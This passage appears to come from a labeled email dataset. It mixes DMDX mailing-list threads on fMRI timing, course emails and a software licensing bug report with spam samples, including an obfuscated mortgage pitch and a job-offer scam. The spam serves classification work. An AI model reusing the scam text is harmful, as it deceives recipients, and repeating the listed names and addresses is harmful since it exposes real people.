two %1's). Sorry about so many questions. Any feedback would be greatly appreciated. Thank you!! Shiaohui Chan PhD Program Department of Linguistics University of Arizona",0,0 Chaim Mcnear ,herbert@smtp.uoregon.edu,"Fri, 03 Feb 2006 19:42:20 -0700",Re: ueqii news,"Dea g r Home O m wne j r , Your cr f edi d t doesn't matter to us ! If you O d WN real e a st u at d e and want IM v MED u IAT v E ca o sh to sp e en o d ANY way you like, or simply wish to LO i WER your monthly pa u ymen e ts by a third or more, here are the deal s s we have T c OD x AY : $ 4 v 88 , 000 at a 3 , r 67% f k ixed - rat o e $ 3 o 72 , 000 at a 3 , 9 m 0% v b ariabl w e - rat t e $ 49 x 2 , 000 at a 3 , c 21% i t nteres c t - only $ 24 p 8 , 000 at a 3 , m 36% fi t xed - rat v e $ 1 w 98 , 000 at a 3 , f 55% vari r able - ra b te H y urry, when these deaI g s are gone, they are gone ! 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Very soon the hobbit would be caught in a thick fence of them all round him-that at least was the spiders idea. Standing now in the middle of the hunting and spinning insects ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 04 Feb 2006 16:34:42 -0700",[DMDX] Re: questions about COT,"At 01:54 AM 2/4/2006 -0700, you wrote: >I knew it today that I should have included 101 as an item, and that line >should look like this: > > +101 * %1 / %1/ ""READY"" /;"" > >and the azk file should start with something like below: > > Item 101, COT 0.000 (and some RT) > Item 1046, COT 13513.02 (and some RT) > > >I will correct this in my future script, but I want to understand my error >better, so here are the questions: > >In my experiment, the fMRI scanner won't start collecting data until 12 >seconds after the spacebar of the computer is hit (to start DMDX). Since >SOAs (relative to scanner data collection) instead of COTs are needed in >image processing, the usual way to translate a COT value to an SOA value >is to subtract 12 seconds from each COT value. > >1) Where in the line does the scanner start? %1 / %1/ >""READY"" /; Probably the with the . > >2) Except for the first item, is my azk file really different from the >""should-be"" azk file? Dunno, I don't remember details of everything I've ever done. People that use the scanner regularly are going to have a better idea than I am. > >The following two questions are related to Question 1: > >3) The presentation computer I used has a refresh rate of 16.58 ms, so I >actually put a little bit more than 12 seconds on item 101. I guess the >scanner had started collecting data before the ""COT=0.00"" time point in my >azk file. Am I right? If what you say is so, yes. > >4) If I still want to use the data that I collected (I collected two pilot >subjects with this script), should I correct my COTs? I.e., should I add >5.92 ms, 4.92 ms, or 3.92 ms to each of the COT value, depending on when >the scanner is started? (I got the value of 5.92 ms by subtracting 12000 >ms from 724x16.58 (= 12003.92) plus two %1's). I would run the file again with a clockon in the first item and see what it is by item 1046 and add that to clock on times in the first run. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If frogs had wings, they wouldn't be bouncing around on their bums.",0,0 Shiaohui Chan ,DMDX@psy1.psych.arizona.edu,"Sat, 04 Feb 2006 21:20:08 -0700",[DMDX] Re: questions about COT,"Thanks, Jonathan! I will run the file again and see what the time difference is. shiaohui ----- Original Message ----- From: ""j.c.f."" To: Sent: Saturday, February 04, 2006 4:34 PM Subject: [DMDX] Re: questions about COT > At 01:54 AM 2/4/2006 -0700, you wrote: >>I knew it today that I should have included 101 as an item, and that line >>should look like this: >> >> +101 * %1 / %1/ ""READY"" /;"" >> >>and the azk file should start with something like below: >> >> Item 101, COT 0.000 (and some RT) >> Item 1046, COT 13513.02 (and some RT) >> >> >>I will correct this in my future script, but I want to understand my error >>better, so here are the questions: >> >>In my experiment, the fMRI scanner won't start collecting data until 12 >>seconds after the spacebar of the computer is hit (to start DMDX). Since >>SOAs (relative to scanner data collection) instead of COTs are needed in >>image processing, the usual way to translate a COT value to an SOA value >>is to subtract 12 seconds from each COT value. >> >>1) Where in the line does the scanner start? %1 / %1/ >>""READY"" /; > > Probably the with the . > >> >>2) Except for the first item, is my azk file really different from the >>""should-be"" azk file? > > Dunno, I don't remember details of everything I've ever done. People > that use the scanner regularly are going to have a better idea than I am. > >> >>The following two questions are related to Question 1: >> >>3) The presentation computer I used has a refresh rate of 16.58 ms, so I >>actually put a little bit more than 12 seconds on item 101. I guess the >>scanner had started collecting data before the ""COT=0.00"" time point in my >>azk file. Am I right? > > If what you say is so, yes. > >> >>4) If I still want to use the data that I collected (I collected two pilot >>subjects with this script), should I correct my COTs? I.e., should I add >>5.92 ms, 4.92 ms, or 3.92 ms to each of the COT value, depending on when >>the scanner is started? (I got the value of 5.92 ms by subtracting 12000 >>ms from 724x16.58 (= 12003.92) plus two %1's). > > I would run the file again with a clockon in the first item and see what > it is by item 1046 and add that to clock on times in the first run. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > If frogs had wings, they wouldn't be bouncing around on their bums. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 Scott Hayes ,DMDX@psy1.psych.arizona.edu,"Sun, 05 Feb 2006 07:53:25 -0500",[DMDX] Re: questions about COT,"Don't forget that the scanner ""discards"" reps(TRs) at the beginning of a functional scan. The default is 2 reps, but the scanner drift issue is really present a bit longer, so I changed the default to discard the first 6 reps. Others keep the default of discarded reps =2, but then delay the start of stimulus presentation until the scanner drift issue subsides (6 reps) or fill this time with ""dummy trials"" since the imaging data will be useless (later you discard these trials at the fMRI data analysis stage). The bottom line is that even if you've triggered the scanner w/ DMDX, you're start time for your DMDX program and acquisition of your fMRI data probably aren't synchronized, unless you've designed your DMDX program to account for discarded reps (again, discarded reps varies by people's preferences, so you'll have to check the defaults of the imaging protocol you're using). If you haven't written DMDX code to account for this, then you'll need to change your COTs to account for this discrepancy as well. Shiaohui Chan wrote: > Thanks, Jonathan! > > I will run the file again and see what the time difference is. > > shiaohui > ----- Original Message ----- From: ""j.c.f."" > > To: > Sent: Saturday, February 04, 2006 4:34 PM > Subject: [DMDX] Re: questions about COT > > >> At 01:54 AM 2/4/2006 -0700, you wrote: >> >>> I knew it today that I should have included 101 as an item, and that >>> line should look like this: >>> >>> +101 * %1 / %1/ ""READY"" /;"" >>> >>> and the azk file should start with something like below: >>> >>> Item 101, COT 0.000 (and some RT) >>> Item 1046, COT 13513.02 (and some RT) >>> >>> >>> I will correct this in my future script, but I want to understand my >>> error better, so here are the questions: >>> >>> In my experiment, the fMRI scanner won't start collecting data until >>> 12 seconds after the spacebar of the computer is hit (to start >>> DMDX). Since SOAs (relative to scanner data collection) instead of >>> COTs are needed in image processing, the usual way to translate a >>> COT value to an SOA value is to subtract 12 seconds from each COT >>> value. >>> >>> 1) Where in the line does the scanner start? %1 / >>> %1/ ""READY"" /; >> >> >> Probably the with the . >> >>> >>> 2) Except for the first item, is my azk file really different from >>> the ""should-be"" azk file? >> >> >> Dunno, I don't remember details of everything I've ever done. >> People that use the scanner regularly are going to have a better >> idea than I am. >> >>> >>> The following two questions are related to Question 1: >>> >>> 3) The presentation computer I used has a refresh rate of 16.58 ms, >>> so I actually put a little bit more than 12 seconds on item 101. I >>> guess the scanner had started collecting data before the ""COT=0.00"" >>> time point in my azk file. Am I right? >> >> >> If what you say is so, yes. >> >>> >>> 4) If I still want to use the data that I collected (I collected two >>> pilot subjects with this script), should I correct my COTs? I.e., >>> should I add 5.92 ms, 4.92 ms, or 3.92 ms to each of the COT value, >>> depending on when the scanner is started? (I got the value of 5.92 >>> ms by subtracting 12000 ms from 724x16.58 (= 12003.92) plus two %1's). >> >> >> I would run the file again with a clockon in the first item and see >> what it is by item 1046 and add that to clock on times in the first run. >> >> /""\\ >> -jonathan (j.c.f.) \\ / >> X >> ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >> >> If frogs had wings, they wouldn't be bouncing around on their bums. >> >> >> ==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >> ==================================================================== > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 Luciano Patel ,cugc@columbia.edu,"Sun, 05 Feb 2006 09:44:12 -0600",Your account #861237322,not caste not conqueror and osborn and chignon be milk or courtesan it methane in bust or girlish try derbyshire try bewilder and constantine it conjoint the cochran Or maybe not,1,1 Carolyn Knox ,"""vmayer@uoregon.edu"" ","Sun, 05 Feb 2006 13:49:17 -0800",Re: lecture topic,"Hi Valerie; I've been thinking about your question. I think there is a way to do this well and a way to not do this well. Using superheroes may be a good idea if it is coupled with well researched examples of ways people have been unfair in history. On the other hand, just saying that so and so superhero fights robbers and stealing is unfair is not a good use. No. If you want to talk about how big companies rob little businesses of their business, that might be a good example—but—being specific and factuall in your examples will certainly give you a higher grade (since, if you look at the assignment, you get quite a few points for the quality of your research). If you read about the history of superheroes, you'll learn that they became popular during the depression when people were feeling poor and like they were being treated unfairly. On 2/2/06, vmayer@uoregon.edu wrote: > I had a question about my topic for the lecture assignment. I had an idea that i would describe what justice was, with the help of using the ""Justice League"" (Batman, SuperMan, etc) and using each of what they fight for to help explain justice and in each case what it means to them. If you could email me back with your suggestions on my topic or any insite i would really appreciate it!! thanks > > Valerie Mayer > MW 10-12 > -- Carolyn Harper Knox, Ph.D. Center for Advanced Technology in Education College of Education University of Oregon 1244 Walnut Street Suite D Eugene, Oregon 97403",0,0 Sydney Peck ,romanialist@columbia.edu,"Sun, 05 Feb 2006 17:07:11 -0600",Pre-approved Application #JTLJ050995941,a confiscate or omnibus try alveoli some carcinogenic a baptist be elves but sparrow and discordant may decline may grizzly or septillion it dramatist in hold a westminster Or maybe not,1,1 Andrew Cunningham ,egs+summary,"Mon, 06 Feb 2006 00:21:41 -0500",PAPER 4,"Andrew Cunningham arc39 _Viceroy:_A_Scalable_and_Dynamic_Emulation_of_the_Butterfly_ Dahlia Malkhi, Moni Naor, David Ratajczak The high-priority issues tackled by Viceroy are extreme-scale networks, which implies a large measure of service-robustness in the face of joins/exits, in addition to bottlenecks to service (due to the high throughput of searches), thus low congestion (which includes, in a semi-hierarchical scheme, the 'root'). The ring based structures we've studied already accomplished these goals; the real insight that Viceroy adds is similar to those of CAN, in that instead of having the log(N) overhead that are demanded by caching shortcuts around the ring, it uses O(1) pointers, which means that the system is infinitely scalable with only local updates on joins/drops. This would tend to indicate a tradeoff in favor of path length to resources; however, the paper notes that the performance is, with 'high probability', acceptable along this dimension as well. Instead of simply having a nodeID, each node also has an extra few bits, in that they have a level ID; thus each node maintains exactly seven pointers; a next and previous pointer around the nodeID space [0,1), pointers to the next and previous nodes in the ID space sharing the same level, pointers to a node with level one greater than ours 1/2^(that level) away and closeby, and one more to the level one less than ours also closeby. Messages are routed to a node with level 1 -- this should take approximately log(N) steps, since there are log(N) levels and we can simply hop back and forth -- and then back down using the 1/2^i or ""nearby"" higher level links. The system is thus a sort of hierarchical system with multiple roots; it can route to the correct location by simply dropping in level until it cannot drop further, at which point a local search can be initiated (but with high probability, O(1) steps are necessary). This paper does not include its proof of correctness, but it is intuitively obvious, in that it is essentially a chord-like system, but with nested rings inside each ring; thus routing is essentially climbing to the innermost ring and then taking exponential hops to reach the correct spot in the address space. The incredibly low overheads of this system lend to great performance; the multiple nodes capable of acting as a route allow good congestion control. In fact, the only real faults of the paper are real, rather than theoretical, performance; though metrics aren't provided, it's relatively trivial to see that each operation under this system requires much more lookup than under previous versions, as we must climb up to root, and then down to the ""leaf"" level; also, though trivial to implement, the network is somewhat fragile as only a single pointer in each direction is maintained at each level, meaning that sudden drops require more work. It is O(1) to 'fix' this problem -- just fix some constant number of neighbors -- so this is something of a null complaint. Also, this paper relies significantly more upon good random distributions than others; the saneness and goodness properties are more intricate than most others, and the high reliance on very good structure means that while the network as a whole is robust, it's highly tuned performance is brittle, and it relies on complex, quickly sketched out background processes (buckets) to save it. Though optimization techniques aren't provided, they don't need to be -- as I've already remarked, most optimization techniques are extremely portable, and Viceroy benefits just as much as any other consistent hashing scheme. ",0,0 Victoria Cohen ,romanianclub@columbia.edu,"Mon, 06 Feb 2006 00:27:39 -0500",Posting Problem,"Hello. While I am honored to have an email posted on your website, I am concerned that you posted it 1) without my expressed permission and 2) including my name and contact information. I would appreciate very much if you would kindly remove the posting, which can be found at the web address below. There are certain security threats to which you have made me vulnerable, and I would appreciate being contacted after you have removed it. Victoria https://www1.columbia.edu/sec/bboard/romanianclub/archive/2005_11/msg00018.html ",0,1 Shiaohui Chan ,DMDX@psy1.psych.arizona.edu,"Mon, 06 Feb 2006 02:36:10 -0700",[DMDX] Re: questions about COT,"Thanks, Scott! In the scan protocol I am using, I set 6 extra shots before data acquisition. Since my TR is 2000 ms, there is a 12-second period that the scanner is running but not saving the data (I know you are an expert, but by writing this out, I think you probably can detect if there is something wrong with my understanding of the timing). At first, I thought I have accounted for the discarded 12 seconds by putting 100 c; +101 * %1 / %1/ ""READY"" /; where ""READY"" stays on the screen for 12 seconds (724 * 16.58 ms). However, I took Jonathan's advice and ran the file again at the presentation computer and found something interesting. Instead of getting 12037.08 ms (i.e., 724 * 16.58 + 2 x 16.58) for this item, I got 14341.99 ms. By further trying different frame durations, I was certain that before ""READY"" appeared, there was a duration of 2338.07 ms. Thus, I'm a bit confused: 1. If Jonathan is right about where the scanner starts (), can I say that I only have one tic (%1) asynchrony between the scanner and DMDX? I noticed it today that the scanner did start before ""READY"" appeared, but I couldn't tell how many ms earlier.... 2. Why is there a duration of 2338.07 ms before ""READY""? It means that two %1's equals to 2338.07ma (i.e., %1 = 1169.035 ms), which doesn't seem to make sense.... 3. If the scanner does start at < o 254> and %1 somehow does equal to 1169.035 ms, should I reduce my frame duration and make the whole duration of item 101 as close to 12 seconds as possible? Any feedback would be GREATLY appreciated. Thanks!! shiaohui ----- Original Message ----- From: ""Scott Hayes"" To: Sent: Sunday, February 05, 2006 5:53 AM Subject: [DMDX] Re: questions about COT > Don't forget that the scanner ""discards"" reps(TRs) at the beginning of a > functional scan. The default is 2 reps, but the scanner drift issue is > really present a bit longer, so I changed the default to discard the first > 6 reps. Others keep the default of discarded reps =2, but then delay the > start of stimulus presentation until the scanner drift issue subsides (6 > reps) or fill this time with ""dummy trials"" since the imaging data will be > useless (later you discard these trials at the fMRI data analysis stage). > The bottom line is that even if you've triggered the scanner w/ DMDX, > you're start time for your DMDX program and acquisition of your fMRI data > probably aren't synchronized, unless you've designed your DMDX program to > account for discarded reps (again, discarded reps varies by people's > preferences, so you'll have to check the defaults of the imaging protocol > you're using). If you haven't written DMDX code to account for this, then > you'll need to change your COTs to account for this discrepancy as well. > Shiaohui Chan wrote: > >> Thanks, Jonathan! >> >> I will run the file again and see what the time difference is. >> >> shiaohui >> ----- Original Message ----- From: ""j.c.f."" >> >> To: >> Sent: Saturday, February 04, 2006 4:34 PM >> Subject: [DMDX] Re: questions about COT >> >> >>> At 01:54 AM 2/4/2006 -0700, you wrote: >>> >>>> I knew it today that I should have included 101 as an item, and that >>>> line should look like this: >>>> >>>> +101 * %1 / %1/ ""READY"" /;"" >>>> >>>> and the azk file should start with something like below: >>>> >>>> Item 101, COT 0.000 (and some RT) >>>> Item 1046, COT 13513.02 (and some RT) >>>> >>>> >>>> I will correct this in my future script, but I want to understand my >>>> error better, so here are the questions: >>>> >>>> In my experiment, the fMRI scanner won't start collecting data until 12 >>>> seconds after the spacebar of the computer is hit (to start DMDX). >>>> Since SOAs (relative to scanner data collection) instead of COTs are >>>> needed in image processing, the usual way to translate a COT value to >>>> an SOA value is to subtract 12 seconds from each COT value. >>>> >>>> 1) Where in the line does the scanner start? %1 / %1/ >>>> ""READY"" /; >>> >>> >>> Probably the with the . >>> >>>> >>>> 2) Except for the first item, is my azk file really different from the >>>> ""should-be"" azk file? >>> >>> >>> Dunno, I don't remember details of everything I've ever done. People >>> that use the scanner regularly are going to have a better idea than I >>> am. >>> >>>> >>>> The following two questions are related to Question 1: >>>> >>>> 3) The presentation computer I used has a refresh rate of 16.58 ms, so >>>> I actually put a little bit more than 12 seconds on item 101. I guess >>>> the scanner had started collecting data before the ""COT=0.00"" time >>>> point in my azk file. Am I right? >>> >>> >>> If what you say is so, yes. >>> >>>> >>>> 4) If I still want to use the data that I collected (I collected two >>>> pilot subjects with this script), should I correct my COTs? I.e., >>>> should I add 5.92 ms, 4.92 ms, or 3.92 ms to each of the COT value, >>>> depending on when the scanner is started? (I got the value of 5.92 ms >>>> by subtracting 12000 ms from 724x16.58 (= 12003.92) plus two %1's). >>> >>> >>> I would run the file again with a clockon in the first item and see >>> what it is by item 1046 and add that to clock on times in the first run. >>> >>> /""\\ >>> -jonathan (j.c.f.) \\ / >>> X >>> ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >>> >>> If frogs had wings, they wouldn't be bouncing around on their bums. >>> >>> >>> ==================================================================== >>> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >>> 'unsubscribe' by itself with no quotes in the body of the email >>> to be removed from the list. The list archive is available here: >>> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>> ==================================================================== >> >> >> ==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >> ==================================================================== > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Feb 2006 08:28:18 -0700",[DMDX] Re: questions about COT,"At 02:36 AM 2/6/2006 -0700, you wrote: >2. Why is there a duration of 2338.07 ms before ""READY""? It means that >two %1's equals to 2338.07ma (i.e., %1 = 1169.035 ms), which doesn't seem >to make sense.... It's not necessarily before READY, the COT is between successive clock ons. So you have the delay between trials added in there and frames in the next item before it's clock on as well. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If frogs had wings, they wouldn't be bouncing around on their bums. ",0,0 creel@sas.upenn.edu,"""DMDX@psy1.psych.arizona.edu"" ","Mon, 06 Feb 2006 10:54:59 -0500",[DMDX] picture verification task,"Hello, I'm trying to conduct a picture verification task using dmdx, and I'm uncertain how to do the following: present a picture and sound simultaneously (or present the picture slightly prior to word onset), without having the picture disappear at word onset. The way that I've instantiated it (below) causes consistent error messages saying that the picture ""moved into video memory x ticks late,"" where x is a large 2-digit integer. I can only assume that this will adversely affect the accuracy of RT reporting. +201 * “cat”/ “cat” ; I'm sure there is a simple solution. Any ideas? Sarah",0,0 Karen Nelson ,duckvoice@lists.uoregon.edu,"Mon, 06 Feb 2006 09:59:27 -0800",duckvoice: Complete a survey for a chance to win a $40 gift card to Best Buy," > >Hi, > >My name is Camille Cassidy and I am a graduate student in sport psychology at >the University of Tennessee. I want to learn more about athletes' beliefs >about being injured and I think that you might know a lot about the topic. If >you are willing to complete a short 15-minute survey, your name will be >entered into a drawing to win a $40 gift card to Best Buy. > >Any information you provide will be completely anonymous and your email >address will not be linked to anything. This is completely voluntary and you >may stop at any time, but you will not be entered into the drawing for the >gift card unless you finish the whole survey. > >If you are interested please click the link below. > >http://survey.utk.edu/mrIWeb/mrIWeb.dll?I.Project=DISSERTATION > >If you have any questions please contact me at ccassidy@utk.edu. Thank you >for >your help and good luck. The winner will be notified by email within a few >weeks. > >Sincerely, >Camille Cassidy Karen Nelson Assistant Athletic Director - Student-Services Director of SOAR /CHAMPS Life Skills (541) 346-6103 FAX (541)346-6458 tjnelson@uoregon.edu ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Feb 2006 10:22:10 -0700",[DMDX] Re: picture verification task,"At 10:54 AM 2/6/2006 -0500, you wrote: >Hello, > >I'm trying to conduct a picture verification task using dmdx, and I'm >uncertain >how to do the following: present a picture and sound simultaneously (or >present >the picture slightly prior to word onset), without having the picture >disappear >at word onset. The way that I've instantiated it (below) causes consistent >error messages saying that the picture ""moved into video memory x ticks late,"" >where x is a large 2-digit integer. I can only assume that this will adversely >affect the accuracy of RT reporting. No, it just means the item is delayed. It's taking your machine a long time to read those resources but it won't start gathering RTs or presenting the rest of the item till the first part is presented. >+201 * ""cat""/ ""cat"" ; > >I'm sure there is a simple solution. Any ideas? Probably remove the delay parameter you have in the parameter line. This will give DMDX as much time as it needs to load your materials. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Barium: What you do with dead chemists.",0,0 Ana Lujan <400aharon@hideakifan.com>,marc@shay.ecn.purdue.edu,"Mon, 06 Feb 2006 06:27:29 +0500",RE: If you are studing or working ,"Dear Mr(Mrs), Iris!!. Our company Barcelo Travel Inc. have a great job offer for peoples from Australia. Your salary per week can start from 1000 USD in first week. After one month you will have about 2500 per week. For more info please to our e-mail barcelotravel@aol.com Regards, Sheena Rivers SMon, 6 Feb 2006 06:27:29 +0500 adposition ",1,0 cknox@uoregon.edu,cknox@uoregon.edu,"Mon, 06 Feb 2006 11:32:13 -0800",EDST lecture Wednesday,"Please come to class ready to present your lecture powerpoint in a small group situation. Also, our class will create a podcast. I'll be collecting snippets of your presentations on Wednesday, taking pictures, and asking you to speak into my microphone. So, don't be surprised, and please let me know if I should not be taking pictures of you. c.",0,0 Shiaohui Chan ,DMDX@psy1.psych.arizona.edu,"Mon, 06 Feb 2006 11:58:46 -0700",[DMDX] Re: questions about COT,"Ah, I see! I totally forgot that COT is between clock ons, not between the onsets of items!! Silly me! To double check whether I am understanding this right, please bear with me with my script again: 100 c; +101 * %1 / %1/ ""READY"" /; +1001 ""(instruction)""/ * ""text"" /!; From the above script, I should at least get 2*16.58ms + 724*16.58 ms+ 90*16.58 ms (the period of ""(instruction)"" in item 1001, whose frame duration is defined in the parameter line as ). All these add up to 13529.28 ms. Since I got 14341.99 ms from the data file, I probably had 812.71 ms that came from the delay between items 101 & 1001. Is that correct? shiaohui ----- Original Message ----- From: ""j.c.f."" To: Sent: Monday, February 06, 2006 8:28 AM Subject: [DMDX] Re: questions about COT > At 02:36 AM 2/6/2006 -0700, you wrote: > > >>2. Why is there a duration of 2338.07 ms before ""READY""? It means that >>two %1's equals to 2338.07ma (i.e., %1 = 1169.035 ms), which doesn't seem >>to make sense.... > > It's not necessarily before READY, the COT is between successive clock > ons. So you have the delay between trials added in there and frames in > the next item before it's clock on as well. > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > If frogs had wings, they wouldn't be bouncing around on their bums. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Feb 2006 12:49:48 -0700",[DMDX] Re: questions about COT,"At 11:58 AM 2/6/2006 -0700, you wrote: >Ah, I see! I totally forgot that COT is between clock ons, not between >the onsets of items!! Silly me! > > >To double check whether I am understanding this right, please bear with me >with my script again: > >100 c; > >+101 * %1 / %1/ ""READY"" /; > >+1001 ""(instruction)""/ * ""text"" /!; > > > From the above script, I should at least get 2*16.58ms + 724*16.58 ms+ > 90*16.58 ms (the period of ""(instruction)"" in item 1001, whose frame > duration is defined in the parameter line as ). All these add up > to 13529.28 ms. Since I got 14341.99 ms from the data file, I probably > had 812.71 ms that came from the delay between items 101 & 1001. Is that > correct? Minus one tick to put the blank frame at the end of 101 up. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Barium: What you do with dead chemists.",0,0 Jan Schaumann ,bugs,"Mon, 06 Feb 2006 13:34:06 -0500",garritan gets confused with multiple keys,">Number: 2119 >Category: apple >Synopsis: garritan gets confused with multiple keys >Confidential: no >Severity: serious >Priority: medium >Responsible: jschauma >State: suspended >Class: support >Submitter-Id: stevens >Arrival-Date: Mon Feb 06 13:35:00 -0500 2006 >Closed-Date: >Last-Modified: Mon Mar 06 12:45:00 -0500 2006 >Originator: Jan Schaumann >Release: N/A >Organization: stevens >Environment: >Description: Garritan Personal Orchestra is installed on all workstations in the Mac lab. Each workstation has its own license key (found in '/Library/Preferences/GARRITAN PERSONAL ORCHESTRA.plist'). Starting Garritan works just fine for any regular user, but Garritan then creates the file '~/Library/Preferences/GARRITAN PERSONAL ORCHESTRA.plist' in which it copies the licensing information (including the hardware key) for the version installed on that machine. This has the side effect that if the user logs out and logs in on another machine and starts Garritan there, it will claim that it is not licensed (since it finds another machines key in the preferences file). Removing the file '~/Library/Preferences/GARRITAN PERSONAL ORCHESTRA.plist' then allows you to start Garritan on that machine as well. This is fairly braindead, but there does not seem to be much we can do about this as far as licensing-file-copying-around-trickery is concerned. We need to contact Garritan and see if they can solve the problem (prediction: they can't). >How-To-Repeat: Login on maclab01. Start Garritan Personal Orchestra. Quit. Log out of maclab01 Log in on maclab02. Start Garritan Personal Orchestra. Note how it claims to be unlicensed. Quit Garritan. Open Terminal rm ~/Library/Preferences/GARRITAN PERSONAL ORCHESTRA.plist' Start Garritan Note how it works fine. >Fix: >Release-Note: >Audit-Trail: State-Changed-From-To: open->feedback State-Changed-By: jschauma State-Changed-When: Tue, 07 Feb 2006 11:52:57 -0500 State-Changed-Why: A problem report has been submitted to the tech-support site of native-instruments.de, the company that provides licensing for garritan. Let's see if they get back to us, and if so if they have any useful suggestions. From: Jan Schaumann To: bugs Cc: Subject: Re: apple/2119: garritan gets confused with multiple keys Date: Fri, 17 Feb 2006 18:10:35 -0500 --Bn2rw/3z4jIqBvZU Content-Type: multipart/mixed; boundary=""sm4nu43k4a2Rpi4c"" Content-Disposition: inline --sm4nu43k4a2Rpi4c Content-Type: text/plain; charset=us-ascii Content-Disposition: inline --sm4nu43k4a2Rpi4c Content-Type: message/rfc822; x-spam-type=original Content-Description: original message before SpamAssassin Content-Disposition: inline Return-Path: X-Original-To: jschauma Delivered-To: jschauma Received: from nexus.stevens.edu (nexus.stevens.edu [155.246.14.12]) by guinness.cs.stevens-tech.edu (Postfix) with ESMTP id EBE3D164E2 for ; Fri, 17 Feb 2006 11:19:54 -0500 (EST) Received: from po.stevens.edu (po.stevens.edu [155.246.154.12]) by nexus.stevens.edu (iPlanet Messaging Server 5.2 HotFix 2.04 (built Feb 8 2005)) with ESMTPS id <0IUU00HYVAP6SJ> for jschauma (ORCPT jschauma Fri, 17 Feb 2006 11:19:54 -0500 (EST) Received: from mail.native-instruments.de (mail.native-instruments.de [217.9.41.138]) by po.stevens.edu (8.13.4/8.13.4) with ESMTP id k1HGJqPw010697 for ; Fri, 17 Feb 2006 11:19:53 -0500 Received: from localhost (unknown [127.0.0.1]) by mail.native-instruments.de (mail.native-instruments.de) with ESMTP id 45C19499249 for ; Fri, 17 Feb 2006 16:19:51 +0000 (UTC) Received: from mail.bln.native-instruments.de ([127.0.0.1]) by localhost (mail2 [127.0.0.1]) (amavisd-new, port 10025) with LMTP id 26094-01-70 for ; Fri, 17 Feb 2006 17:19:50 +0100 (CET) Received: from mail.native-instruments.de (www20.ext.native-instruments.de [10.10.1.20]) by mail.bln.native-instruments.de (mail.native-instruments.de) with ESMTP id 8A3EE49923A for ; Fri, 17 Feb 2006 17:19:49 +0100 (CET) Received: by www20.ext.native-instruments.de (Postfix, from userid 30) id 95358E4D; Fri, 17 Feb 2006 17:19:47 +0100 (CET) Date: Fri, 17 Feb 2006 17:19:47 +0100 (CET) From: no_reply Subject: NFS home -> plist confused To: jschauma Reply-to: no_reply Message-id: <20060217161947.95358E4D> Organization: Native Instruments X-Mailer: Php/libMailv1.3 X-Priority: 4 (Low) X-Virus-Scanned: by amavisd-new at native-instruments.de X-PMX-Version: 5.1.2.240295, Antispam-Engine: 2.2.0.0, Antispam-Data: 2006.02.17.074605 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline; filename=mutt-dogfish-head-7870-14 If you want to reply to this answer, please use this link: http://www.native-instruments.de/index.php?id=followup_us&request=65685&uid=396432 --------------------------------------------------------------------------------------------------------- Hello Jan Schaumann, I apologize for the late reply. You are correct. This is currently the situation with GPO. The first time a user opens GPO, the serial number and authorization information will be read out of the local preference file. However, when the user ends the application, the user plist will be written with that information. In this server setup , it is so that when the user goes to another computer and starts the application GPO first looks in the user preferences folder and there it finds the wrong plist. We are aware of this shortcoming for universities using GPO. We have developed a new process which we hope will be better, but it is not complete. In the past, certain IT specialists have been able to write a script which deletes the user plist when the student logs out. I am afraid I cannot help with how this may be done. When this is not possible, then the user may delete his own plist. Our apologies for any inconvenience. Best regards, Dan Santucci -> Daniel Santucci -> Customer Support -> Native Instruments GmbH -> Schlesische Str. 28 -> D-10997 Berlin -> Germany -> http://www.native-instruments.com ->>>>>> NATIVE INSTRUMENTS - Generate the Future of Sound! <<<<<<- *** KORE - the world's first Universal Sound Platform => http://www.native-instruments.com/kore.info ->>>>>> NATIVE INSTRUMENTS - Generate the Future of Sound! <<<<<<- [HISTORY] > > REQUEST: 65685: > NFS home -> plist confused > DESCRIPTION: > We have 17 workstations that have Garritan Personal Orchestra installed. Each workstation has its own registration key, serial number and system id, stored in /Library/Preferences/GARRITAN PERSONAL ORCHESTRA.plist. > > All users have their home directory on a shared NFS partition, so that it is available on all machines. > > When a user starts Garritan Orchestra for the first time, it stores the 